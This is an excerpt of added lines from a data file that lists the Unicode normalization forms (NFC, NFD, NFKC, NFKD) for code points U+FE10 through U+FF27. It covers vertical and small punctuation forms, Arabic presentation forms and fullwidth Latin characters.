+{ source: [0xFE10], NFC: [0xFE10], NFD: [0xFE10], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFE11], NFC: [0xFE11], NFD: [0xFE11], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFE12], NFC: [0xFE12], NFD: [0xFE12], NFKC: [0x3002], NFKD: [0x3002] },
+{ source: [0xFE13], NFC: [0xFE13], NFD: [0xFE13], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFE14], NFC: [0xFE14], NFD: [0xFE14], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFE15], NFC: [0xFE15], NFD: [0xFE15], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFE16], NFC: [0xFE16], NFD: [0xFE16], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFE17], NFC: [0xFE17], NFD: [0xFE17], NFKC: [0x3016], NFKD: [0x3016] },
+{ source: [0xFE18], NFC: [0xFE18], NFD: [0xFE18], NFKC: [0x3017], NFKD: [0x3017] },
+{ source: [0xFE19], NFC: [0xFE19], NFD: [0xFE19], NFKC: [0x002E, 0x002E, 0x002E], NFKD: [0x002E, 0x002E, 0x002E] },
+{ source: [0xFE30], NFC: [0xFE30], NFD: [0xFE30], NFKC: [0x002E, 0x002E], NFKD: [0x002E, 0x002E] },
+{ source: [0xFE31], NFC: [0xFE31], NFD: [0xFE31], NFKC: [0x2014], NFKD: [0x2014] },
+{ source: [0xFE32], NFC: [0xFE32], NFD: [0xFE32], NFKC: [0x2013], NFKD: [0x2013] },
+{ source: [0xFE33], NFC: [0xFE33], NFD: [0xFE33], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE34], NFC: [0xFE34], NFD: [0xFE34], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE35], NFC: [0xFE35], NFD: [0xFE35], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFE36], NFC: [0xFE36], NFD: [0xFE36], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFE37], NFC: [0xFE37], NFD: [0xFE37], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFE38], NFC: [0xFE38], NFD: [0xFE38], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFE39], NFC: [0xFE39], NFD: [0xFE39], NFKC: [0x3014], NFKD: [0x3014] },
+{ source: [0xFE3A], NFC: [0xFE3A], NFD: [0xFE3A], NFKC: [0x3015], NFKD: [0x3015] },
+{ source: [0xFE3B], NFC: [0xFE3B], NFD: [0xFE3B], NFKC: [0x3010], NFKD: [0x3010] },
+{ source: [0xFE3C], NFC: [0xFE3C], NFD: [0xFE3C], NFKC: [0x3011], NFKD: [0x3011] },
+{ source: [0xFE3D], NFC: [0xFE3D], NFD: [0xFE3D], NFKC: [0x300A], NFKD: [0x300A] },
+{ source: [0xFE3E], NFC: [0xFE3E], NFD: [0xFE3E], NFKC: [0x300B], NFKD: [0x300B] },
+{ source: [0xFE3F], NFC: [0xFE3F], NFD: [0xFE3F], NFKC: [0x3008], NFKD: [0x3008] },
+{ source: [0xFE40], NFC: [0xFE40], NFD: [0xFE40], NFKC: [0x3009], NFKD: [0x3009] },
+{ source: [0xFE41], NFC: [0xFE41], NFD: [0xFE41], NFKC: [0x300C], NFKD: [0x300C] },
+{ source: [0xFE42], NFC: [0xFE42], NFD: [0xFE42], NFKC: [0x300D], NFKD: [0x300D] },
+{ source: [0xFE43], NFC: [0xFE43], NFD: [0xFE43], NFKC: [0x300E], NFKD: [0x300E] },
+{ source: [0xFE44], NFC: [0xFE44], NFD: [0xFE44], NFKC: [0x300F], NFKD: [0x300F] },
+{ source: [0xFE47], NFC: [0xFE47], NFD: [0xFE47], NFKC: [0x005B], NFKD: [0x005B] },
+{ source: [0xFE48], NFC: [0xFE48], NFD: [0xFE48], NFKC: [0x005D], NFKD: [0x005D] },
+{ source: [0xFE49], NFC: [0xFE49], NFD: [0xFE49], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4A], NFC: [0xFE4A], NFD: [0xFE4A], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4B], NFC: [0xFE4B], NFD: [0xFE4B], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4C], NFC: [0xFE4C], NFD: [0xFE4C], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4D], NFC: [0xFE4D], NFD: [0xFE4D], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE4E], NFC: [0xFE4E], NFD: [0xFE4E], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE4F], NFC: [0xFE4F], NFD: [0xFE4F], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE50], NFC: [0xFE50], NFD: [0xFE50], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFE51], NFC: [0xFE51], NFD: [0xFE51], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFE52], NFC: [0xFE52], NFD: [0xFE52], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0xFE54], NFC: [0xFE54], NFD: [0xFE54], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFE55], NFC: [0xFE55], NFD: [0xFE55], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFE56], NFC: [0xFE56], NFD: [0xFE56], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFE57], NFC: [0xFE57], NFD: [0xFE57], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFE58], NFC: [0xFE58], NFD: [0xFE58], NFKC: [0x2014], NFKD: [0x2014] },
+{ source: [0xFE59], NFC: [0xFE59], NFD: [0xFE59], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFE5A], NFC: [0xFE5A], NFD: [0xFE5A], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFE5B], NFC: [0xFE5B], NFD: [0xFE5B], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFE5C], NFC: [0xFE5C], NFD: [0xFE5C], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFE5D], NFC: [0xFE5D], NFD: [0xFE5D], NFKC: [0x3014], NFKD: [0x3014] },
+{ source: [0xFE5E], NFC: [0xFE5E], NFD: [0xFE5E], NFKC: [0x3015], NFKD: [0x3015] },
+{ source: [0xFE5F], NFC: [0xFE5F], NFD: [0xFE5F], NFKC: [0x0023], NFKD: [0x0023] },
+{ source: [0xFE60], NFC: [0xFE60], NFD: [0xFE60], NFKC: [0x0026], NFKD: [0x0026] },
+{ source: [0xFE61], NFC: [0xFE61], NFD: [0xFE61], NFKC: [0x002A], NFKD: [0x002A] },
+{ source: [0xFE62], NFC: [0xFE62], NFD: [0xFE62], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFE63], NFC: [0xFE63], NFD: [0xFE63], NFKC: [0x002D], NFKD: [0x002D] },
+{ source: [0xFE64], NFC: [0xFE64], NFD: [0xFE64], NFKC: [0x003C], NFKD: [0x003C] },
+{ source: [0xFE65], NFC: [0xFE65], NFD: [0xFE65], NFKC: [0x003E], NFKD: [0x003E] },
+{ source: [0xFE66], NFC: [0xFE66], NFD: [0xFE66], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0xFE68], NFC: [0xFE68], NFD: [0xFE68], NFKC: [0x005C], NFKD: [0x005C] },
+{ source: [0xFE69], NFC: [0xFE69], NFD: [0xFE69], NFKC: [0x0024], NFKD: [0x0024] },
+{ source: [0xFE6A], NFC: [0xFE6A], NFD: [0xFE6A], NFKC: [0x0025], NFKD: [0x0025] },
+{ source: [0xFE6B], NFC: [0xFE6B], NFD: [0xFE6B], NFKC: [0x0040], NFKD: [0x0040] },
+{ source: [0xFE70], NFC: [0xFE70], NFD: [0xFE70], NFKC: [0x0020, 0x064B], NFKD: [0x0020, 0x064B] },
+{ source: [0xFE71], NFC: [0xFE71], NFD: [0xFE71], NFKC: [0x0640, 0x064B], NFKD: [0x0640, 0x064B] },
+{ source: [0xFE72], NFC: [0xFE72], NFD: [0xFE72], NFKC: [0x0020, 0x064C], NFKD: [0x0020, 0x064C] },
+{ source: [0xFE74], NFC: [0xFE74], NFD: [0xFE74], NFKC: [0x0020, 0x064D], NFKD: [0x0020, 0x064D] },
+{ source: [0xFE76], NFC: [0xFE76], NFD: [0xFE76], NFKC: [0x0020, 0x064E], NFKD: [0x0020, 0x064E] },
+{ source: [0xFE77], NFC: [0xFE77], NFD: [0xFE77], NFKC: [0x0640, 0x064E], NFKD: [0x0640, 0x064E] },
+{ source: [0xFE78], NFC: [0xFE78], NFD: [0xFE78], NFKC: [0x0020, 0x064F], NFKD: [0x0020, 0x064F] },
+{ source: [0xFE79], NFC: [0xFE79], NFD: [0xFE79], NFKC: [0x0640, 0x064F], NFKD: [0x0640, 0x064F] },
+{ source: [0xFE7A], NFC: [0xFE7A], NFD: [0xFE7A], NFKC: [0x0020, 0x0650], NFKD: [0x0020, 0x0650] },
+{ source: [0xFE7B], NFC: [0xFE7B], NFD: [0xFE7B], NFKC: [0x0640, 0x0650], NFKD: [0x0640, 0x0650] },
+{ source: [0xFE7C], NFC: [0xFE7C], NFD: [0xFE7C], NFKC: [0x0020, 0x0651], NFKD: [0x0020, 0x0651] },
+{ source: [0xFE7D], NFC: [0xFE7D], NFD: [0xFE7D], NFKC: [0x0640, 0x0651], NFKD: [0x0640, 0x0651] },
+{ source: [0xFE7E], NFC: [0xFE7E], NFD: [0xFE7E], NFKC: [0x0020, 0x0652], NFKD: [0x0020, 0x0652] },
+{ source: [0xFE7F], NFC: [0xFE7F], NFD: [0xFE7F], NFKC: [0x0640, 0x0652], NFKD: [0x0640, 0x0652] },
+{ source: [0xFE80], NFC: [0xFE80], NFD: [0xFE80], NFKC: [0x0621], NFKD: [0x0621] },
+{ source: [0xFE81], NFC: [0xFE81], NFD: [0xFE81], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0xFE82], NFC: [0xFE82], NFD: [0xFE82], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0xFE83], NFC: [0xFE83], NFD: [0xFE83], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0xFE84], NFC: [0xFE84], NFD: [0xFE84], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0xFE85], NFC: [0xFE85], NFD: [0xFE85], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0xFE86], NFC: [0xFE86], NFD: [0xFE86], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0xFE87], NFC: [0xFE87], NFD: [0xFE87], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0xFE88], NFC: [0xFE88], NFD: [0xFE88], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0xFE89], NFC: [0xFE89], NFD: [0xFE89], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8A], NFC: [0xFE8A], NFD: [0xFE8A], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8B], NFC: [0xFE8B], NFD: [0xFE8B], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8C], NFC: [0xFE8C], NFD: [0xFE8C], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8D], NFC: [0xFE8D], NFD: [0xFE8D], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0xFE8E], NFC: [0xFE8E], NFD: [0xFE8E], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0xFE8F], NFC: [0xFE8F], NFD: [0xFE8F], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE90], NFC: [0xFE90], NFD: [0xFE90], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE91], NFC: [0xFE91], NFD: [0xFE91], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE92], NFC: [0xFE92], NFD: [0xFE92], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE93], NFC: [0xFE93], NFD: [0xFE93], NFKC: [0x0629], NFKD: [0x0629] },
+{ source: [0xFE94], NFC: [0xFE94], NFD: [0xFE94], NFKC: [0x0629], NFKD: [0x0629] },
+{ source: [0xFE95], NFC: [0xFE95], NFD: [0xFE95], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE96], NFC: [0xFE96], NFD: [0xFE96], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE97], NFC: [0xFE97], NFD: [0xFE97], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE98], NFC: [0xFE98], NFD: [0xFE98], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE99], NFC: [0xFE99], NFD: [0xFE99], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9A], NFC: [0xFE9A], NFD: [0xFE9A], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9B], NFC: [0xFE9B], NFD: [0xFE9B], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9C], NFC: [0xFE9C], NFD: [0xFE9C], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9D], NFC: [0xFE9D], NFD: [0xFE9D], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFE9E], NFC: [0xFE9E], NFD: [0xFE9E], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFE9F], NFC: [0xFE9F], NFD: [0xFE9F], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFEA0], NFC: [0xFEA0], NFD: [0xFEA0], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFEA1], NFC: [0xFEA1], NFD: [0xFEA1], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA2], NFC: [0xFEA2], NFD: [0xFEA2], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA3], NFC: [0xFEA3], NFD: [0xFEA3], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA4], NFC: [0xFEA4], NFD: [0xFEA4], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA5], NFC: [0xFEA5], NFD: [0xFEA5], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA6], NFC: [0xFEA6], NFD: [0xFEA6], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA7], NFC: [0xFEA7], NFD: [0xFEA7], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA8], NFC: [0xFEA8], NFD: [0xFEA8], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA9], NFC: [0xFEA9], NFD: [0xFEA9], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0xFEAA], NFC: [0xFEAA], NFD: [0xFEAA], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0xFEAB], NFC: [0xFEAB], NFD: [0xFEAB], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0xFEAC], NFC: [0xFEAC], NFD: [0xFEAC], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0xFEAD], NFC: [0xFEAD], NFD: [0xFEAD], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0xFEAE], NFC: [0xFEAE], NFD: [0xFEAE], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0xFEAF], NFC: [0xFEAF], NFD: [0xFEAF], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0xFEB0], NFC: [0xFEB0], NFD: [0xFEB0], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0xFEB1], NFC: [0xFEB1], NFD: [0xFEB1], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB2], NFC: [0xFEB2], NFD: [0xFEB2], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB3], NFC: [0xFEB3], NFD: [0xFEB3], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB4], NFC: [0xFEB4], NFD: [0xFEB4], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB5], NFC: [0xFEB5], NFD: [0xFEB5], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB6], NFC: [0xFEB6], NFD: [0xFEB6], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB7], NFC: [0xFEB7], NFD: [0xFEB7], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB8], NFC: [0xFEB8], NFD: [0xFEB8], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB9], NFC: [0xFEB9], NFD: [0xFEB9], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBA], NFC: [0xFEBA], NFD: [0xFEBA], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBB], NFC: [0xFEBB], NFD: [0xFEBB], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBC], NFC: [0xFEBC], NFD: [0xFEBC], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBD], NFC: [0xFEBD], NFD: [0xFEBD], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEBE], NFC: [0xFEBE], NFD: [0xFEBE], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEBF], NFC: [0xFEBF], NFD: [0xFEBF], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEC0], NFC: [0xFEC0], NFD: [0xFEC0], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0xFEC1], NFC: [0xFEC1], NFD: [0xFEC1], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC2], NFC: [0xFEC2], NFD: [0xFEC2], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC3], NFC: [0xFEC3], NFD: [0xFEC3], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC4], NFC: [0xFEC4], NFD: [0xFEC4], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0xFEC5], NFC: [0xFEC5], NFD: [0xFEC5], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC6], NFC: [0xFEC6], NFD: [0xFEC6], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC7], NFC: [0xFEC7], NFD: [0xFEC7], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC8], NFC: [0xFEC8], NFD: [0xFEC8], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0xFEC9], NFC: [0xFEC9], NFD: [0xFEC9], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECA], NFC: [0xFECA], NFD: [0xFECA], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECB], NFC: [0xFECB], NFD: [0xFECB], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECC], NFC: [0xFECC], NFD: [0xFECC], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0xFECD], NFC: [0xFECD], NFD: [0xFECD], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFECE], NFC: [0xFECE], NFD: [0xFECE], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFECF], NFC: [0xFECF], NFD: [0xFECF], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFED0], NFC: [0xFED0], NFD: [0xFED0], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0xFED1], NFC: [0xFED1], NFD: [0xFED1], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED2], NFC: [0xFED2], NFD: [0xFED2], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED3], NFC: [0xFED3], NFD: [0xFED3], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED4], NFC: [0xFED4], NFD: [0xFED4], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0xFED5], NFC: [0xFED5], NFD: [0xFED5], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED6], NFC: [0xFED6], NFD: [0xFED6], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED7], NFC: [0xFED7], NFD: [0xFED7], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED8], NFC: [0xFED8], NFD: [0xFED8], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0xFED9], NFC: [0xFED9], NFD: [0xFED9], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDA], NFC: [0xFEDA], NFD: [0xFEDA], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDB], NFC: [0xFEDB], NFD: [0xFEDB], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDC], NFC: [0xFEDC], NFD: [0xFEDC], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0xFEDD], NFC: [0xFEDD], NFD: [0xFEDD], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEDE], NFC: [0xFEDE], NFD: [0xFEDE], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEDF], NFC: [0xFEDF], NFD: [0xFEDF], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEE0], NFC: [0xFEE0], NFD: [0xFEE0], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0xFEE1], NFC: [0xFEE1], NFD: [0xFEE1], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE2], NFC: [0xFEE2], NFD: [0xFEE2], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE3], NFC: [0xFEE3], NFD: [0xFEE3], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE4], NFC: [0xFEE4], NFD: [0xFEE4], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0xFEE5], NFC: [0xFEE5], NFD: [0xFEE5], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE6], NFC: [0xFEE6], NFD: [0xFEE6], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE7], NFC: [0xFEE7], NFD: [0xFEE7], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE8], NFC: [0xFEE8], NFD: [0xFEE8], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0xFEE9], NFC: [0xFEE9], NFD: [0xFEE9], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEA], NFC: [0xFEEA], NFD: [0xFEEA], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEB], NFC: [0xFEEB], NFD: [0xFEEB], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEEC], NFC: [0xFEEC], NFD: [0xFEEC], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0xFEED], NFC: [0xFEED], NFD: [0xFEED], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0xFEEE], NFC: [0xFEEE], NFD: [0xFEEE], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0xFEEF], NFC: [0xFEEF], NFD: [0xFEEF], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFEF0], NFC: [0xFEF0], NFD: [0xFEF0], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFEF1], NFC: [0xFEF1], NFD: [0xFEF1], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF2], NFC: [0xFEF2], NFD: [0xFEF2], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF3], NFC: [0xFEF3], NFD: [0xFEF3], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF4], NFC: [0xFEF4], NFD: [0xFEF4], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0xFEF5], NFC: [0xFEF5], NFD: [0xFEF5], NFKC: [0x0644, 0x0622], NFKD: [0x0644, 0x0627, 0x0653] },
+{ source: [0xFEF6], NFC: [0xFEF6], NFD: [0xFEF6], NFKC: [0x0644, 0x0622], NFKD: [0x0644, 0x0627, 0x0653] },
+{ source: [0xFEF7], NFC: [0xFEF7], NFD: [0xFEF7], NFKC: [0x0644, 0x0623], NFKD: [0x0644, 0x0627, 0x0654] },
+{ source: [0xFEF8], NFC: [0xFEF8], NFD: [0xFEF8], NFKC: [0x0644, 0x0623], NFKD: [0x0644, 0x0627, 0x0654] },
+{ source: [0xFEF9], NFC: [0xFEF9], NFD: [0xFEF9], NFKC: [0x0644, 0x0625], NFKD: [0x0644, 0x0627, 0x0655] },
+{ source: [0xFEFA], NFC: [0xFEFA], NFD: [0xFEFA], NFKC: [0x0644, 0x0625], NFKD: [0x0644, 0x0627, 0x0655] },
+{ source: [0xFEFB], NFC: [0xFEFB], NFD: [0xFEFB], NFKC: [0x0644, 0x0627], NFKD: [0x0644, 0x0627] },
+{ source: [0xFEFC], NFC: [0xFEFC], NFD: [0xFEFC], NFKC: [0x0644, 0x0627], NFKD: [0x0644, 0x0627] },
+{ source: [0xFF01], NFC: [0xFF01], NFD: [0xFF01], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFF02], NFC: [0xFF02], NFD: [0xFF02], NFKC: [0x0022], NFKD: [0x0022] },
+{ source: [0xFF03], NFC: [0xFF03], NFD: [0xFF03], NFKC: [0x0023], NFKD: [0x0023] },
+{ source: [0xFF04], NFC: [0xFF04], NFD: [0xFF04], NFKC: [0x0024], NFKD: [0x0024] },
+{ source: [0xFF05], NFC: [0xFF05], NFD: [0xFF05], NFKC: [0x0025], NFKD: [0x0025] },
+{ source: [0xFF06], NFC: [0xFF06], NFD: [0xFF06], NFKC: [0x0026], NFKD: [0x0026] },
+{ source: [0xFF07], NFC: [0xFF07], NFD: [0xFF07], NFKC: [0x0027], NFKD: [0x0027] },
+{ source: [0xFF08], NFC: [0xFF08], NFD: [0xFF08], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFF09], NFC: [0xFF09], NFD: [0xFF09], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFF0A], NFC: [0xFF0A], NFD: [0xFF0A], NFKC: [0x002A], NFKD: [0x002A] },
+{ source: [0xFF0B], NFC: [0xFF0B], NFD: [0xFF0B], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFF0C], NFC: [0xFF0C], NFD: [0xFF0C], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFF0D], NFC: [0xFF0D], NFD: [0xFF0D], NFKC: [0x002D], NFKD: [0x002D] },
+{ source: [0xFF0E], NFC: [0xFF0E], NFD: [0xFF0E], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0xFF0F], NFC: [0xFF0F], NFD: [0xFF0F], NFKC: [0x002F], NFKD: [0x002F] },
+{ source: [0xFF10], NFC: [0xFF10], NFD: [0xFF10], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0xFF11], NFC: [0xFF11], NFD: [0xFF11], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0xFF12], NFC: [0xFF12], NFD: [0xFF12], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0xFF13], NFC: [0xFF13], NFD: [0xFF13], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0xFF14], NFC: [0xFF14], NFD: [0xFF14], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0xFF15], NFC: [0xFF15], NFD: [0xFF15], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0xFF16], NFC: [0xFF16], NFD: [0xFF16], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0xFF17], NFC: [0xFF17], NFD: [0xFF17], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0xFF18], NFC: [0xFF18], NFD: [0xFF18], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0xFF19], NFC: [0xFF19], NFD: [0xFF19], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0xFF1A], NFC: [0xFF1A], NFD: [0xFF1A], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFF1B], NFC: [0xFF1B], NFD: [0xFF1B], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFF1C], NFC: [0xFF1C], NFD: [0xFF1C], NFKC: [0x003C], NFKD: [0x003C] },
+{ source: [0xFF1D], NFC: [0xFF1D], NFD: [0xFF1D], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0xFF1E], NFC: [0xFF1E], NFD: [0xFF1E], NFKC: [0x003E], NFKD: [0x003E] },
+{ source: [0xFF1F], NFC: [0xFF1F], NFD: [0xFF1F], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFF20], NFC: [0xFF20], NFD: [0xFF20], NFKC: [0x0040], NFKD: [0x0040] },
+{ source: [0xFF21], NFC: [0xFF21], NFD: [0xFF21], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0xFF22], NFC: [0xFF22], NFD: [0xFF22], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0xFF23], NFC: [0xFF23], NFD: [0xFF23], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0xFF24], NFC: [0xFF24], NFD: [0xFF24], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0xFF25], NFC: [0xFF25], NFD: [0xFF25], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0xFF26], NFC: [0xFF26], NFD: [0xFF26], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0xFF27], NFC: [0xFF27], NFD: [0xFF27], NFKC: [0x0047], NFKD: [0x0047] },
